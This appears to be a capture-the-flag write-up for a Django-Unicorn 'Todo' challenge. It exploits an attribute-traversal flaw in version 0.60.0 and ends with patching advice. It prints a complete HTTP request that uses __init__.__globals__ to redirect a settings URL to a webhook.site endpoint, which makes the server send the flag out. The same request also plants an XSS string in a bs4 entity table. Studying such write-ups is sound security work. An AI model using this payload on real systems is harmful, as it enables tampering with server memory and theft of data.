Challenge: Todo
Goal: Exploit a reactive Django Todo application to leak the secret flag.
Flag:
cube{t0d0_n3v3r_g3ts_t0d0n_3dfa06f8}- exfiltrated to the attacker’s webhook endpoint
Vulnerability
The application is built using Django-Unicorn, a component framework that provides full-stack reactive interactivity to Django templates by exchanging JSON payloads between the browser and backend.
Inspection of the deployment configuration (docker-compose.yml) shows the package version pinned to django-unicorn==0.60.0:

This version is vulnerable to GHSA-g9wf-5777-gq43 (Attribute Traversal / Runtime Object Pollution). In Django-Unicorn versions prior to 0.60.1, the component state synchronization parser did not properly restrict nested property setters.
By leveraging Python’s special dunder attributes (__init__.__globals__), an attacker can traverse out of the component scope into Python’s global namespace and modify loaded module attributes in server memory during runtime. Specifically, targeting sys.modules.myproject.urls.settings.CONTACT_URL allows altering the contact callback URL to an attacker-controlled endpoint.
Attack Path
1. Inspect Component Requests
Observing legitimate user actions on the Todo component reveals AJAX requests sent to /unicorn/message/todo. These requests include state metadata such as csrftoken, checksum, epoch, and hash.

2. Craft the Attribute Traversal Payload
To hijack the exfiltration destination, we target the global CONTACT_URL setting via:
__init__.__globals__.sys.modules.myproject.urls.settings.CONTACT_URL
We point this value to a public request logger (webhook.site). We construct the following JSON message:
POST /unicorn/message/todo HTTP/1.1
Host: chal.cubectf.com
Accept: application/json
Content-Type: text/plain;charset=UTF-8
Cookie: csrftoken=AimFWPJ2WvSGSpfDi2KQpI4yVrO40MOs
X-CSRFTOKEN: AimFWPJ2WvSGSpfDi2KQpI4yVrO40MOs
X-Requested-With: XMLHttpRequest
{
"id": "4tAqvKKX",
"data": {
"task": "",
"tasks": []
},
"checksum": "8XsptBHo",
"actionQueue": [
{
"type": "syncInput",
"payload": {
"name": "task",
"value": "hry"
},
"partials": []
},
{
"type": "callMethod",
"payload": {
"name": "add"
},
"partials": []
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.myproject.urls.settings.CONTACT_URL",
"value": "https://webhook.site/21805dc4-e44c-442c-9bf1-229a55651dfa"
}
},
{
"type": "syncInput",
"payload": {
"name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
"value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
}
}
],
"epoch": 1751725015861,
"hash": "bCCKDAzY"
}
3. Exfiltrate the Flag
With CONTACT_URL successfully redirected in the server’s memory, refreshing the page or triggering a contact event causes the application to send a backend request containing the flag directly to our webhook:

Flag received:
cube{t0d0_n3v3r_g3ts_t0d0n_3dfa06f8}
Notes
- Frameworks providing dynamic client-to-server property mapping must strictly whitelist allowable attribute paths and reject any keys starting with or containing dunder methods (
__). - Update
django-unicornto version0.60.1or above where attribute resolution is sanitized.
